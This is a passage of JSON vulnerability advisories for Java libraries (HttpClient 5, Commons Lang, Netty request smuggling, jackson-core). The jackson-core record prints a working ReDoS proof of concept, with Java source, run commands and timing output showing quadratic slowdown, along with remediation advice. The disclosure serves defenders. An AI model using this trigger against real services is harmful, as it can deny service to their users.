"https://github.com/apache/httpcomponents-client/releases/tag/rel/v5.7-alpha1" }, { "type": "WEB", "url": "https://lists.apache.org/thread/qqfzo3fqcdk4l5496vz95ppvl4ty511q" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2026/08/13/5" } ], "affected": [ { "package": { "name": "org.apache.httpcomponents.client5:httpclient5", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.httpcomponents.client5/httpclient5" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "5.0-alpha1" }, { "fixed": "5.6.3" } ] } ], "versions": [ "5.0", "5.0-alpha1", "5.0-alpha2", "5.0-alpha3", "5.0-beta1", "5.0-beta2", "5.0-beta3", "5.0-beta4", "5.0-beta5", "5.0-beta6", "5.0-beta7", "5.0.1", "5.0.2", "5.0.3", "5.0.4", "5.1", "5.1-beta1", "5.1.1", "5.1.2", "5.1.3", "5.1.4", "5.2", "5.2-alpha1", "5.2-beta1", "5.2.1", "5.2.2", "5.2.3", "5.3", "5.3-alpha1", "5.3.1", "5.4", "5.4-alpha1", "5.4-alpha2", "5.4-beta1", "5.4.1", "5.4.2", "5.4.3", "5.4.4", "5.5", "5.5-alpha1", "5.5.1", "5.5.2", "5.6", "5.6-alpha1", "5.6.1", "5.6.2" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-hjcp-jmpx-g3qm/GHSA-hjcp-jmpx-g3qm.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ] }, { "id": "GHSA-j288-q9x7-2f5v", "summary": "Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs", "details": "Uncontrolled Recursion vulnerability in Apache Commons Lang.\n\nThis issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.\n\nThe methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop.\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.", "aliases": [ "CVE-2025-48924" ], "modified": "2026-09-10T03:50:26.176912270Z", "published": "2025-07-11T15:31:37Z", "database_specific": { "github_reviewed": true, "github_reviewed_at": "2025-07-12T00:48:03Z", "nvd_published_at": "2025-07-11T15:15:24Z", "cwe_ids": [ "CWE-674" ], "severity": "MODERATE" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924" }, { "type": "WEB", "url": "https://github.com/apache/commons-lang/commit/b424803abdb2bec818e4fbcb251ce031c22aca53" }, { "type": "PACKAGE", "url": "https://github.com/apache/commons-lang" }, { "type": "WEB", "url": "https://lists.apache.org/thread/bgv0lpswokgol11tloxnjfzdl7yrc1g1" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00000.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00026.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00032.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00036.html" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2025/07/11/1" } ], "affected": [ { "package": { "name": "org.apache.commons:commons-lang3", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.commons/commons-lang3" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0" }, { "fixed": "3.18.0" } ] } ], "versions": [ "3.0", "3.0.1", "3.1", "3.10", "3.11", "3.12.0", "3.13.0", "3.14.0", "3.15.0", "3.16.0", "3.17.0", "3.2", "3.2.1", "3.3", "3.3.1", "3.3.2", "3.4", "3.5", "3.6", "3.7", "3.8", "3.8.1", "3.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-j288-q9x7-2f5v/GHSA-j288-q9x7-2f5v.json" } }, { "package": { "name": "commons-lang:commons-lang", "ecosystem": "Maven", "purl": "pkg:maven/commons-lang/commons-lang" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.0" }, { "last_affected": "2.6" } ] } ], "versions": [ "2.0", "2.1", "2.2", "2.3", "2.4", "2.5", "2.6" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-j288-q9x7-2f5v/GHSA-j288-q9x7-2f5v.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" } ] }, { "id": "GHSA-p2v9-g2qv-p635", "summary": "HTTP Request Smuggling in Netty", "details": "HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header.", "aliases": [ "CVE-2019-20445" ], "modified": "2023-11-08T04:01:30.506943Z", "published": "2020-02-21T18:55:04Z", "database_specific": { "cwe_ids": [ "CWE-444" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2020-02-20T20:54:25Z", "nvd_published_at": "2020-01-29T21:15:00Z" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20445" }, { "type": "WEB", "url": "https://github.com/netty/netty/issues/9861" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/9865" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rce71d33747010d32d31d90f5d737dae26291d96552f513a266c92fbb@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rbdb59c683d666130906a9c05a1d2b034c4cc08cda7ed41322bd54fe2@%3Cissues.flume.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb84c57670ec48ef23f4d07973b7fa69f629b8e7fcfb48874362feb6f@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb5c065e7bd701b0744f9f28ad769943f91745102716c1eb516325f11@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/raaac04b7567c554786132144bea3dcb72568edd410c1e6f0101742e7@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra9fbfe7d4830ae675bf34c7c0f8c22fc8a4099f65706c1bc4f54c593@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra2ace4bcb5cf487f72cbcbfa0f8cc08e755ec2b93d7e69f276148b08@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra1a71b576a45426af5ee65255be9596ff3181a342f4ba73b800db78f@%3Cdev.geode.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r9b20cdac704cf9a583400350e2d5b576fa8417c18ddb961201676c60@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r96e08f929234e8ba1ef4a93a0fd2870f535a1f9ab628fabc46115986@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r959474dcf7f88565ed89f6252ca5a274419006cb71348f14764b183d@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r832724df393a7ef25ca4c7c2eb83ad2d6c21c74569acda5233f9f1ec@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0497" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd8f72411fb75b98d366400ae789966373b5c3eb3f511e717caf3e49e@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdb69125652311d0c41f6066ff44072a3642cf33a4b5e3c4f9c1ec9c2@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re45ee9256d3233c31d78e59ee59c7dc841c7fbd83d0769285b41e948@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf5b2dfb7401666a19915f8eaef3ba9f5c3386e2066fcd2ae66e16a2f@%3Cdev.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rfb55f245b08d8a6ec0fb4dc159022227cd22de34c4419c2fbb18802b@%3Cnotifications.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rff210a24f3a924829790e69eaefa84820902b7b31f17c3bf2def9114@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00017.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00018.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00003.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00004.html" }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TS6VX7OMXPDJIU5LRGUAHRK6MENAVJ46" }, { "type": "WEB", "url": "https://usn.ubuntu.com/4532-1" }, { "type": "WEB", "url": "https://www.debian.org/security/2021/dsa-4885" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0567" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0601" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0605" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0606" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0804" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0805" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0806" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0811" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://github.com/netty/netty/compare/netty-4.1.43.Final...netty-4.1.44.Final" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r030beff88aeb6d7a2d6cd21342bd18686153ce6e26a4171d0e035663@%3Cissues.flume.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0@%3Cissues.bookkeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1fcccf8bdb3531c28bc9aa605a6a1bea7e68cef6fc12e01faafb2fb5@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r205937c85817a911b0c72655c2377e7a2c9322d6ef6ce1b118d34d8d@%3Cdev.geode.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2f2989b7815d809ff3fda8ce330f553e5f133505afd04ffbc135f35f@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r310d2ce22304d5298ff87f10134f918c87919b452734f9841d95682d@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r36fcf538b28f2029e8b4f6b9a772f3b107913a78f09b095c5b153a62@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r46f93de62b1e199f3f9babb18128681677c53493546f532ed88c359d@%3Creviews.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4d3f1d3e333d9c2b2f6e6ae8ed8750d4de03410ac294bcd12c7eefa3@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4ff40646e9ccce13560458419accdfc227b8b6ca4ead3a8a91decc74@%3Cissues.flume.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r640eb9b3213058a963e18291f903fc1584e577f60035f941e32f760a@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r6945f3c346b7af89bbd3526a7c9b705b1e3569070ebcd0964bcedd7d@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r70b1ff22ee80e8101805b9a473116dd33265709007d2deb6f8c80bf2@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r7790b9d99696d9eddce8a8c96f13bb68460984294ea6fea3800143e4@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r804895eedd72c9ec67898286eb185e04df852b0dd5fe53cf5b6138f9@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r81700644754e66ffea465c869cb477de25f8041e21598e8818fc2c45@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r819aaeb9944bdcfca438dcc51f05650dc728daf64dfd7d774fc2499b@%3Ccommits.zookeeper.apache.org%3E" } ], "affected": [ { "package": { "name": "io.netty:netty-handler", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-handler" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0" }, { "fixed": "4.1.45" } ] } ], "versions": [ "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.5.Final", "4.1.6.Final", "4.1.7.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/02/GHSA-p2v9-g2qv-p635/GHSA-p2v9-g2qv-p635.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/02/GHSA-p2v9-g2qv-p635/GHSA-p2v9-g2qv-p635.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/02/GHSA-p2v9-g2qv-p635/GHSA-p2v9-g2qv-p635.json" } } ], "schema_version": "1.9.0" }, { "id": "GHSA-p6pp-m3f8-5c89", "summary": " jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()", "details": "## Status\n\n**FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost\nexactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000\ncharacters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical\nHTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`\n (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point\n `looksLikeValidNumber()` lines ~646-656)\n\n## Technical Analysis\n\n```java\nprivate final static Pattern PATTERN_FLOAT = Pattern.compile(\n \"[+-]?[0-9]*[\\\\.]?[0-9]+([eE][+-]?[0-9]+)?\");\n\nprivate final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(\n \"[+-]?[0-9]+[\\\\.]\");\n\npublic static boolean looksLikeValidNumber(final String s) {\n // ... short-circuits only for null/empty/length==1 ...\n return PATTERN_FLOAT.matcher(s).matches()\n || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();\n}\n```\n\n`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:\n`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's\nbacktracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,\nso on a non-matching input the engine must explore every possible split point between the\n`[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking\nshape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex\n(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor\nwithout changing the asymptotic class.\n\nCritically, the length gate that applies to this specific path is\n`StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength`\n(default **1,000**) — the length ceiling the library uses everywhere else for numeric content.\nThis means inputs up to four orders of magnitude larger than the library's own numeric-length\npolicy reach this quadratic regex unmodified.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC8_NumberInputReDoS.java\njava -cp \"poc:$CP\" PoC8_NumberInputReDoS\n```\n\n## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)\n\n```java\nimport com.fasterxml.jackson.core.io.NumberInput;\n\npublic class PoC8_NumberInputReDoS {\n\n public static void main(String[] args) {\n int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};\n long[] timesMs = new long[sizes.length];\n\n System.out.println(\"Timing NumberInput.looksLikeValidNumber( + 'x') for growing n:\\n\");\n\n for (int i = 0; i < sizes.length; i++) {\n int n = sizes[i];\n String s = repeat('1', n) + \"x\";\n\n if (i == 0) {\n NumberInput.looksLikeValidNumber(repeat('1', 200) + \"x\"); // warm up\n }\n\n long t0 = System.nanoTime();\n boolean result = NumberInput.looksLikeValidNumber(s);\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n timesMs[i] = elapsedMs;\n\n System.out.printf(\"n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n\", n, result, elapsedMs);\n }\n\n System.out.println(\"\\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\");\n boolean quadraticSignatureObserved = false;\n for (int i = 1; i < sizes.length; i++) {\n double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];\n System.out.printf(\" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n\",\n sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);\n if (ratio >= 3.0) quadraticSignatureObserved = true;\n }\n\n System.out.println(\"\\nLargest test (n=\" + sizes[sizes.length - 1] + \") took \" + timesMs[timesMs.length - 1]\n + \" ms for a single call from ONE HTTP-body-sized string.\");\n System.out.println(\"\\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) \"\n + \"governs this path, not maxNumberLength (1,000).\");\n\n if (quadraticSignatureObserved) {\n System.out.println(\"\\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent \"\n + \"with quadratic backtracking in PATTERN_FLOAT on non-matching input.\");\n }\n }\n\n static String repeat(char c, int n) {\n char[] arr = new char[n];\n java.util.Arrays.fill(arr, c);\n return new String(arr);\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nTiming NumberInput.looksLikeValidNumber( + 'x') for growing n:\n\nn=5000 looksLikeValidNumber=false elapsed= 74 ms\nn=10000 looksLikeValidNumber=false elapsed= 306 ms\nn=20000 looksLikeValidNumber=false elapsed= 1157 ms\nn=40000 looksLikeValidNumber=false elapsed= 4655 ms\nn=80000 looksLikeValidNumber=false elapsed= 18592 ms\nn=160000 looksLikeValidNumber=false elapsed= 74393 ms\n\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\n n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x)\n n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x)\n n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x)\n n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x)\n n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x)\n\nLargest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.\n\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic\nbacktracking in PATTERN_FLOAT on non-matching input.\n```\n\nThis is an unusually clean empirical result: five consecutive doublings each produced a ratio\nbetween 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within\n5% at every single measurement, leaving essentially no ambiguity about the complexity class.\nExtrapolating this measured curve, a ~1MB string (well within common request body limits) would\ntake on the order of hours for a single call.\n\n## Impact\n\nAny application that coerces a String-typed JSON field to a number (default `jackson-databind`\nbehavior) is exposed: an attacker who can submit a large numeric-looking string (up to\n`maxStringLength`'s default of 20,000,000 characters — far larger than needed given the\nmeasured curve) can pin a request-handling thread for an extended period with a single request.\nBecause the cost scales quadratically, a handful of concurrent moderately-sized requests\n(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread\npool, denying service to all users.\n\n## Remediation\n\n1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.\n `[+-]?(?:[0-9]++(?:\\.[0-9]*+)?|\\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the\n trailing-dot case and removes the need for a second full-string scan.\n2. Better: replace the regex entirely with a single-pass hand-written character scan — the same\n file already contains exactly this pattern for `parseInt`, so the library has both the\n precedent and the code style available.\n3. Apply an independent length limit (`maxNumberLength`, not the much larger\n `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-\n magnitude gap between the two constraints for this specific code path.\n4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its\n default, and set wall-clock timeouts on parse/coercion operations.", "aliases": [ "CVE-2026-89407" ], "modified": "2026-10-01T15:30:13.452657713Z", "published": "2026-10-01T15:19:21Z", "database_specific": { "nvd_published_at": "2026-09-22T15:17:21Z", "cwe_ids": [ "CWE-1333", "CWE-400" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-10-01T15:19:21Z" }, "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89407" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/issues/1649" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1650" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1701" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" } ], "affected": [ { "package": { "name": "com.fasterxml.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.17.0" }, { "fixed": "2.18.11" } ] } ], "versions": [ "2.17.0", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.4.1", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9" ], "database_specific": { "last_known_affected_version_range": "<= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ] } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json", "last_known_affected_version_range": "<= 2.21.6" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ] } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ], "database_specific": { "last_known_affected_version_range": "<= 2.22.2", "source": 